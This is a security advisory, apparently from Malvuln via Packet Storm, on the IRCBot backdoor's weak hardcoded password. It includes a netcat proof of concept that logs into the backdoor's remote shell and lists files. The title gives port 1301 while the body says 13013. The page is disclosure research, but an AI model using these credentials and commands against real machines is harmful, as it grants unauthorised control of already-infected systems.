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Backdoor.Win32.IRCBot.gen Weak Hardcoded Password

🗓️ 19 Jul 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 295 Views

Backdoor with Weak Hardcoded Password on TCP Port 1301

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/9b12ff6b8b025e7fb0a171abad41c79c.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.IRCBot.gen  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 13013. Authentication is required for remote user access. However, the password "slimanus" is weak and hardcoded in plaintext within the executable.  
Type: PE32  
MD5: 9b12ff6b8b025e7fb0a171abad41c79c  
Vuln ID: MVID-2021-0295  
Dropped files: winvxd.exe  
Disclosure: 07/18/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 13013  
pwd slimanus slimanus  
psychward revised 0.3, awaiting your command  
dir  
<.>  
<..>  
<0409>  
12520437.cpx (2151)  
12520850.cpx (2233)  
@AudioToastIcon.png (308)  
@EnrollmentToastIcon.png (330)  
@VpnToastIcon.png (404)  
@WirelessDisplayToast.png (691)  
aadauthhelper.dll (154624)  
aadtb.dll (954880)  
AboveLockAppHost.dll (252928)  
accessibilitycpl.dll (3804160)  
accountaccessor.dll (215552)  
AccountsRt.dll (363520)  
AcGenral.dll (2393600)  
AcLayers.dll (372224)  
acledit.dll (9216)  
aclui.dll (5388800)  
acppage.dll (68096)  
AcSpecfc.dll (471552)  
ActionCenter.dll (261632)  
ActionCenterCPL.dll (541184)  
ActivationClient.dll (30720)  
ActivationManager.dll (444928)  
activeds.dll (222720)  
activeds.tlb (112128)  
ActiveSyncProvider.dll (1546752)  
etc...  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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